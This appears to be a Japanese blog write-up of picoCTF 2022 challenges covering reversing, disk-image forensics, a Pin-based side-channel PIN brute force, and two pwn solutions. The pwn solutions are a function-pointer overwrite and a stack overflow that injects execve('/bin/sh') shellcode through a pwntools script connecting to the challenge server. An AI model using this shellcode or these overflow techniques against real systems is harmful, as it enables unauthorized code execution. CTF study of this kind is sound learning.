All Articles

PicoCTF 2022 Writeup

picoCTF2022に参加していました。

今回は普段解いてるRev以外にもForensicとPwn問にも挑戦してみました。

RevとForensicは全完できましたが、残念ながらPwnは2問残しました。

とはいえ、新しいテクニックも3つくらい習得できてかなり有意義でした。

この記事では個人的に学びのあった問題に簡単にWriteupを書いていきます。

もくじ

Rev

Revは正直かなり難易度が低かったのでこれといって書くことがないですが、最後の問題は珍しいタイプで結構面白かったのでまとめておきます。

Wizardlike(Rev)

以下のような問題でした。

Description

Do you seek your destiny in these deplorable dungeons? If so, you may want to look elsewhere. Many have gone before you and honestly, they’ve cleared out the place of all monsters, ne’erdowells, bandits and every other sort of evil foe. The dungeons themselves have seen better days too. There’s a lot of missing floors and key passages blocked off. You’d have to be a real wizard to make any progress in this sorry excuse for a dungeon!Download the game.’w’, ’a’, ’s’, ’d’ moves your character and ’Q’ quits. You’ll need to improvise some wizardly abilities to find the flag in this dungeon crawl. ’.’ is floor, ’#’ are walls, ’<’ are stairs up to previous level, and ’>’ are stairs down to next level.

コンソール上で遊べるドル○ーガの塔みたいなゲームが問題バイナリとして渡されます。

このゲームの塔を登っていくとFlagがわかっていくという問題なのですが、残念ながら普通にプレイしているだけでは上ることのできない構造になっています。

そのため、ゲーム中の階層と座標の格納されているメモリアドレスを特定して任意に改ざんしていくことで、マップ内をワープしながら探索していくというのが恐らく想定解の問題です。

階層と座標のメモリアドレス自体はGhidraなどでデコンパイルすれば簡単に取得できます。

ゲーム中にメモリアドレスを改ざんする方法としては、gdbのリモートデバッグを使用しました。

# gdbserverを使用してゲームを起動
gdbserver localhost:1234 game-p

# 別のコンソールからgdbを起動して接続
gdb
target remote localhost:1234

これで階層やマップを移動しながら問題を解くことができます。

ただし、残念なことにこのマップ移動時の座標指定はエスパー要素が強く結構面倒でした。

そのため、最終的にはGhidraでデータセクション内の各マップの情報を特定し、ゲームのマップ更新時のプログラムからリバーシングした以下のスクリプトですべてのマップをまとめて取得する方法でFlagを取得しました。

from pprint import pprint

table = [
    [" " for i in range(100)] for j in range(100)
]

data = <MapData>

for i in range(len(data)):
    print(chr(data[i]), end="")
    if i % 100 == 0:
        print("")

Forensic

Forensic問ではいくつか新しいテクニックを習得したので、記録としてまとめておきます。

Operation Orchid(Forensic)

Description

Download this disk image and find the flag.Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

類問として「Operation Oni」という問題もありましたが、イメージファイルから欲しい情報を探し出す問題でした。

基本的な流れとしては、イメージファイルの中からマウント可能なセクションを特定してローカルにマウントし、ディレクトリを探索していく感じでした。

まずはfdisk -luコマンドでイメージファイルの情報を特定します。

$ fdisk -lu disk.img
Disk disk.img: 400 MiB, 419430400 bytes, 819200 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xb11a86e3
Device     Boot  Start    End Sectors  Size Id Type
disk.img1  *      2048 206847  204800  100M 83 Linux
disk.img2       206848 411647  204800  100M 82 Linux swap / Solaris
disk.img3       411648 819199  407552  199M 83 Linux

ここで、disk.img3をマウントしたかったので、開始セクタ番号の411648にセクタサイズの512をかけた値をオフセットとしてmountコマンドを実行します。

sudo mount -o loop,offset=210763776 disk.img ./mnt
sudo chown ubuntu:ubuntu ./* -R

ついでに所有者を変えておくと探索が楽になります。

これでマウントしたディレクトリを探索したところ、.bash_historyから以下のコマンド履歴が見つかりました。

nano flag.txt 
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al

つまり、このunbreakablepassword1234567を用いてaes256で暗号化されたファイルを復元するとFlagがゲットできます。

というわけで以下のコマンドで復号を行いました。

openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567

これでFlagが取れます。

SideChannel(SideChannel)

Description

There’s something fishy about this PIN-code checker, can you figure out the PIN and get the flag?Download the PIN checker program here pin_checkerOnce you’ve figured out the PIN (and gotten the checker program to accept it), connect to the master server using nc saturn.picoctf.net 50562 and provide it the PIN to get your flag.

これは解き方はわかったものの実際にFlagを取るのにかなり苦労した問題でしたが非常に面白い問題でした。

まずは、Pin - A Binary Instrumentation Tool - DownloadsからPinToolをダウンロードします。

ダウンロードしたファイルを展開するとこんな感じのディレクトリが作成されます。

$ ls -l
total 388
-rw-r--r-- 1 ubuntu ubuntu  63816 Feb 16 02:04 README
drwxr-x--- 3 ubuntu ubuntu   4096 Feb 16 02:14 doc
drwxr-x--- 9 ubuntu ubuntu   4096 Feb 16 02:14 extras
drwxr-x--- 6 ubuntu ubuntu   4096 Feb 16 02:12 ia32
drwxr-x--- 6 ubuntu ubuntu   4096 Feb 16 02:14 intel64
drwxr-xr-x 2 ubuntu ubuntu   4096 Feb 16 02:14 licensing
-rwxr-xr-x 1 ubuntu ubuntu 292996 Feb 16 02:09 pin
-rwxr-x--- 1 ubuntu ubuntu   8418 Feb 16 02:15 pin.sig
drwxr-x--- 5 ubuntu ubuntu   4096 Feb 16 02:14 source

ここからPinToolをビルドするのですが、今回の問題バイナリは32bit向けのELFバイナリなので、「ia32」のツールをビルドする必要があります。

そのため、以下でビルドに必要なパッケージをインストールしておきます。

sudo apt-get install libc6-dev-i386
sudo apt-get install gcc-multilib g++-multilib

続いて。source/tools/SimpleExamplesに移動してツールをビルドします。

cd source/tools/SimpleExamples$
make all TARGET=ia32

TARGET=ia32を指定する必要がある点に注意です。

ビルドが成功した場合~/pintools/source/tools/SimpleExamples/obj-ia32/inscount2_mt.soが生成されているはずです。

あとはこれを使ってサイドチャネル攻撃でPINを一文字ずつ特定していきます。

以下が使用したSolverです。

import subprocess
cmd = "/home/ubuntu/pintools/pin -t /home/ubuntu/pintools/source/tools/SimpleExamples/obj-ia32/inscount2_mt.so -- ./pin_checker".split(" ")
ans = []
for i in range(10):
    t = "" + str(i) + "0"*7
    print(t)
    cp = subprocess.run(cmd, input=t.encode())
    
# 48390513

上記は1文字目の値を変化させてチェックを行っています。

これを実行したときの各PIN入力とpintoolのカウント結果を見てみると、1文字目に4が入力された時が極端に大きい値になっていることがわかります。

00000000
Count[0] = 53421446

10000000
Count[0] = 60610315

20000000
Count[0] = 66361386

30000000
Count[0] = 66840760

40000000
Count[0] = 314657590

50000000
Count[0] = 61089559

60000000
Count[0] = 61568816

70000000
Count[0] = 62527330

80000000
Count[0] = 61089676

90000000
Count[0] = 62048086

あとはこれを8文字分繰り返せば正解のPINが特定できます。

Pwn

function overwrite(Pwn)

Description

Story telling class 2/2

あんまりDescriptionになっていないDescriptionですが、以下のような問題コードが与えられました。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

int calculate_story_score(char *story, size_t len)
{
  int score = 0;
  for (size_t i = 0; i < len; i++)
  {
    score += story[i];
  }

  return score;
}

void easy_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 1337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 1337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void hard_checker(char *story, size_t len)
{
  if (calculate_story_score(story, len) == 13371337)
  {
    char buf[FLAGSIZE] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL)
    {
      printf("%s %s", "Please create 'flag.txt' in this directory with your",
                      "own debugging flag.\n");
      exit(0);
    }

    fgets(buf, FLAGSIZE, f); // size bound read
    printf("You're 13371337. Here's the flag.\n");
    printf("%s\n", buf);
  }
  else
  {
    printf("You've failed this class.");
  }
}

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

void vuln()
{
  char story[128];
  int num1, num2;

  printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
  scanf("%127s", story);
  printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
  scanf("%d %d", &num1, &num2);

  if (num1 < 10)
  {
    fun[num1] += num2;
  }

  check(story, strlen(story));
}
 
int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

普通に実行するとvulncheckという関数呼び出します。

このcheck関数は、void (*check)(char*, size_t) = hard_checker;の通りhard_checker関数のポインタが格納されているようです。

Flag取得までの大まかな流れとしては、この関数アドレスをeasy_checker関数のアドレスに書き換えた上でcalculate_story_score(story, len) == 1337を満たす入力値を特定する感じでした。

ここで、関数アドレスの書き換えですが、直接的にアドレスを書き換えるのではなく、以下のコードを悪用して相対アドレスの書き換えを行いました。

if (num1 < 10)
{
    fun[num1] += num2;
}

具体的には、2回目の入力を-16 -314にすることで、配列funの先頭アドレスから-16バイトしたアドレスの値を-314させることができます。

これによって、元々hard_checker関数のアドレスが格納されていた変数checkの値が、hard_checker関数のアドレス-314に上書きされ、easy_checker関数のアドレスを指すようになります。

ここで、127文字以内の入力で以下の計算結果が1337になる値を求めた結果、1回目の入力はaaaaaaaaaaaaaLとなり、Flagを取得することができました。

int calculate_story_score(char *story, size_t len)
{
  int score = 0;
  for (size_t i = 0; i < len; i++)
  {
    score += story[i];
  }

  return score;
}

ropfu(Pwn)

Description

What’s ROP?

ROPの入門的な問題でした。

とりあえずobjdumpを叩いて見ると、スタック領域に実行権限が付与されていることがわかります。

$ objdump -x vuln
vuln:     file format elf32-i386
vuln
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08049c20

Program Header:
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000001e8 memsz 0x000001e8 flags r--
    LOAD off    0x00001000 vaddr 0x08049000 paddr 0x08049000 align 2**12
         filesz 0x0006a960 memsz 0x0006a960 flags r-x
    LOAD off    0x0006c000 vaddr 0x080b4000 paddr 0x080b4000 align 2**12
         filesz 0x0002e42d memsz 0x0002e42d flags r--
    LOAD off    0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**12
         filesz 0x00002c18 memsz 0x00003950 flags rw-
    NOTE off    0x00000134 vaddr 0x08048134 paddr 0x08048134 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
     TLS off    0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**2
         filesz 0x00000010 memsz 0x00000030 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
         filesz 0x00000000 memsz 0x00000000 flags rwx
   RELRO off    0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**0
         filesz 0x00001960 memsz 0x00001960 flags r--

BOFを使って書き換えられるスタック領域のバイトサイズは28バイトでしたので、この範囲に収まるようにシェルを取得するシェルコードを作成します。

シェルコードは以下のアセンブリで作成できました。

; binsh2.s
BITS 32
global _start
 
_start:
    mov eax, 11
    jmp buf
setebx:
    pop ebx
    xor ecx, ecx
    xor edx, edx
    int 0x80
buf:
    call setebx
    db '/bin/sh', 0

x86CPUでexecveを呼び出しています。

詳しくは以下。

参考:Linux x86用のシェルコードを書いてみる - ももいろテクノロジー

参考:シェルコードとは|Tech Book Zone Manatee

このシェルコードをスタックに埋め込んだ後、リターンアドレスにret rspのガジェットを入れてあげればOK、と思ったのですがそのようなガジェットが見つかりませんでした。

そこで、jmp eaxのガジェットを探してそのアドレスを入れてあげることでFlagが取得できました。

最終的なSolverは以下です。

from pwn import *
import binascii
import time

elf = ELF("./vuln")
context.binary = elf

with open("shellcode", "rb") as f:
    payload = f.read()

print(len(payload))
payload += b"\x90"*(28-len(payload))
ret = p32(0x0805334b) # jmp eax
payload += ret

with open("shellcode", "wb") as f:
    f.write(payload)

# Local
p = process("./vuln")

# Remote
p = remote("saturn.picoctf.net", 59222)

r = p.recvline()
p.sendline(payload)
p.interactive()

まとめ

ざっくりWriteup書きました。

Pwnは全完できなかったのでもっと修行せねば。。